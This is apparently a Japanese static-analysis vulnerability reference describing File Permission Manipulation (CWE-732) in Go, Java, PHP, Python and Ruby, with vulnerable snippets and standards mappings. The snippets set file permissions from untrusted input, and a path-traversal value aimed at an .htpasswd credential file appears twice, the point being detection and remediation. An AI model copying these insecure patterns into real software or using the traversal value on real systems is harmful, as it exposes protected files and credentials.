106 見つかった項目
脆弱性
Abstract
ユーザー入力によってファイル権限を直接変更できてしまうと、本来保護されているシステム リソースに攻撃者がアクセスできるようになる可能性があります。
Explanation
File Permission Manipulation のエラーが発生するのは、次の条件のいずれかに一致した場合です。

1.攻撃者が、ファイル システム上でのアクセス許可を変更する操作で使用されるパスを指定する可能性がある場合。

2.攻撃者が、ファイル システム上での操作によって割り当てられるアクセス許可を指定する可能性がある場合。

例 1: 次のコードは、システム環境変数からの入力を使用して、ファイル権限を設定します。攻撃者がシステム環境変数を変更できる場合、プログラムを使用することによって、プログラムで操作されるファイルにアクセスする可能性があります。プログラムに Path Manipulation の脆弱性も存在している場合、攻撃者はこの脆弱性を利用してシステム上の任意のファイルにアクセスする可能性があります。


permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.file_permission_manipulation
Abstract
ユーザー入力によってファイル権限を直接変更できてしまうと、本来保護されているシステム リソースに攻撃者がアクセスできるようになる可能性があります。
Explanation
ファイル権限操作のエラーが発生するのは、次の条件のいずれかに一致した場合です。

1. 攻撃者が、アクセス許可を変更する操作で使用されたパスをファイル システムで指定できる場合。

2. 攻撃者が、操作によって割り当てられたアクセス許可をファイル システムで指定できる場合。

例 1: 次のコードでは、システム プロパティからの入力を使用してデフォルトの権限マスクを設定しています。攻撃者がシステム プロパティを変更できる場合、プログラムを使用することによって、プログラムで操作されるファイルにアクセスすることが可能です。プログラムに Path Manipulation の脆弱性も存在している場合、攻撃者はこの脆弱性を利用してシステム上の任意のファイルにアクセスすることができます。


String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
References
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.file_permission_manipulation
Abstract
ユーザー入力によってファイル権限を直接変更できてしまうと、本来保護されているシステム リソースに攻撃者がアクセスできるようになる可能性があります。
Explanation
ファイル権限操作のエラーが発生するのは、次の条件のいずれかに一致した場合です。

1. 攻撃者が、アクセス許可を変更する操作で使用されたパスをファイル システムで指定できる場合。

2. 攻撃者が、操作によって割り当てられたアクセス許可をファイル システムで指定できる場合。

例: 次のコードの目的は、FTP 経由で Web ページをアップロードするユーザーに対して適切なファイル権限を設定することです。このコードでは、外部ユーザーに対してファイルを表示可能にするために、HTTP リクエストの入力を使用しています。


$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...


しかし、攻撃者が publicReport に悪意のある値 (../../localuser/public_html/.htpasswd など) を指定した場合、指定されたファイルは攻撃者から読み取り可能となります。

例 2: 次のコードでは、設定ファイルからの入力を使用してデフォルトの権限マスクを設定しています。攻撃者が設定ファイルを変更できる場合、プログラムを使用することによって、プログラムで操作されるファイルにアクセスすることが可能です。プログラムに Path Manipulation の脆弱性も存在している場合、攻撃者はこの脆弱性を利用してシステム上の任意のファイルにアクセスすることができます。


...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.file_permission_manipulation
Abstract
ユーザー入力によってファイル権限を直接変更できてしまうと、本来保護されているシステム リソースに攻撃者がアクセスできるようになる可能性があります。
Explanation
File Permission Manipulation のエラーが発生するのは、次の条件のいずれかに一致した場合です。

1. 攻撃者が、アクセス許可を変更する操作で使用されたパスをファイル システムで指定できる場合。

2. 攻撃者が、操作によって割り当てられたアクセス許可をファイル システムで指定できる場合。

例 1: 次のコードは、システム環境変数からの入力を使用して、ファイル権限を設定します。攻撃者がシステム環境変数を変更できる場合、プログラムを使用することによって、プログラムで操作されるファイルにアクセスすることが可能です。プログラムに Path Manipulation の脆弱性も存在している場合、攻撃者はこの脆弱性を利用してシステム上の任意のファイルにアクセスすることができます。


permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.file_permission_manipulation
Abstract
ユーザー入力によってファイル権限を直接変更できてしまうと、本来保護されているシステム リソースに攻撃者がアクセスできるようになる可能性があります。
Explanation
ファイル権限操作のエラーが発生するのは、次の条件のいずれかに一致した場合です。

1. 攻撃者が、アクセス許可を変更する操作で使用されたパスをファイル システムで指定できる場合。

2. 攻撃者が、操作によって割り当てられたアクセス許可をファイル システムで指定できる場合。

例: 次のコードの目的は、FTP 経由で Web ページをアップロードするユーザーに対して適切なファイル権限を設定することです。このコードでは、外部ユーザーに対してファイルを表示可能にするために、HTTP リクエストの入力を使用しています。


...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...


しかし、攻撃者が publicReport に悪意のある値 (../../localuser/public_html/.htpasswd など) を指定した場合、指定されたファイルは攻撃者から読み取り可能となります。

例 2: 次のコードでは、設定ファイルからの入力を使用してデフォルトの権限マスクを設定しています。攻撃者が設定ファイルを変更できる場合、プログラムを使用することによって、プログラムで操作されるファイルにアクセスすることが可能です。プログラムに Path Manipulation の脆弱性も存在している場合、攻撃者はこの脆弱性を利用してシステム上の任意のファイルにアクセスすることができます。


...
mask = config_params['perms']
File.chmod(filename, mask)
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
